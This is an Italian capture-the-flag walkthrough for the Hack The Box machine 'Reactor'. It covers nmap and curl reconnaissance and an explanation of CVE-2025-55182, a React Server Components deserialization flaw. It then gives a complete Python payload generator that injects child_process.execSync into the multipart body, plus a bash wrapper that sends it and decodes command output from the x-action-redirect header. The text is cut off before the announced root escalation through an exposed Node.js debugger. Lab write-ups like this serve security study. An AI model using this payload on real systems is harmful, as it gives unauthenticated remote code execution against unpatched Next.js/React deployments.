
Walkthrough completo della macchina Reactor di HTB — sfrutta la CVE-2025-55182 per ottenere una shell, poi ottieni root tramite un debugger Node.js esposto. Passo dopo passo con screenshot.
[!CAUTION] Avviso di spoiler. Questa è una walkthrough completa che include le flag. Se vuoi risolvere la macchina da solo, chiudi questa pagina adesso e torna quando sei bloccato.
| Campo | Dettagli |
|---|---|
| Nome | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| Difficoltà | Media |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Porte | 22 (SSH), 3000 (Next.js) |
| Autore | sonnycroco |
Reactor è incentrato su una dashboard di monitoraggio di una centrale nucleare chiamata ReactorWatch. La macchina riguarda esclusivamente due vulnerabilità concatenate: niente congetture, niente falsi indizi, niente forza bruta.
Il percorso: una build pre-release di React 19 espone una falla critica di deserializzazione che consente l'esecuzione di codice in remoto non autenticata con una singola richiesta HTTP. Da lì, una porta di debugging Node.js in esecuzione come root ti consegna l'accesso completo al sistema tramite un messaggio WebSocket.
Catena di attacco:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
La prima cosa da fare su qualsiasi nuova macchina è scoprire cosa è in ascolto. Una scansione completa delle porte con rilevamento dei servizi, per non perdere nulla.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Solo due porte. SSH è un vicolo cieco a questo punto, visto che non abbiamo ancora credenziali. La porta 3000 è il bersaglio. Nmap ci dice già che si tratta di Next.js 15.0.3, un ottimo indizio.
Prima di lanciare exploit contro qualsiasi cosa, voglio conoscere la versione esatta di tutto ciò che è in esecuzione. Gli header HTTP hanno già rivelato Next.js, ma la versione di React è il dettaglio critico. React 19 è stato in pre-release per molto tempo e ha avuto diversi problemi seri prima della release stabile.
Recupero uno dei chunk JavaScript lato client per verificare:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Quel rc nella stringa della versione è la prova fumante. Si tratta di una release candidate di React 19, non della versione stabile. I database CVE confermano: CVE-2025-55182 colpisce esattamente questa build. CVSS 10.0.
Già che ci sono, controllo gli header per eventuali indizi sul middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Nessun header x-middleware-rewrite presente, il che significa che non c'è alcun middleware Next.js installato. Questo esclude CVE-2025-29927 (il bypass del middleware), utile da sapere per non perderci tempo.
Cosa sappiamo:
experimental.serverActions abilitato19.0.0-rc, vulnerabile a CVE-2025-55182
I Server Components di React 19 hanno introdotto le Server Actions, funzioni lato server richiamabili dal client tramite POST HTTP con un header Next-Action. Il parser multipart che gestisce queste richieste ha una falla critica: deserializza in modo non sicuro un tipo di riferimento chiamato $1:__proto__:then.
Creando un body multipart che imposta _response._prefix a JavaScript arbitrario, un attaccante fa sì che quel codice venga valutato sul server. L'output viene poi esfiltrato tramite un'eccezione che Next.js usa internamente per i redirect (NEXT_REDIRECT) e finisce codificato nell'header di risposta x-action-redirect.
Qualsiasi POST a qualsiasi pagina con l'header Next-Action attiva la vulnerabilità. Nessun controllo di autenticazione, nessun endpoint speciale. Basta inviare il payload a / e sei dentro.
Un piccolo helper Python che prende un comando shell come input, costruisce il payload multipart e lo scrive su disco perché curl possa inviarlo:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Racchiudendo tutto in una funzione shell per un'esperienza da pseudo-shell:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
Lo scambio HTTP grezzo. L'output del comando è proprio lì nell'header di redirect: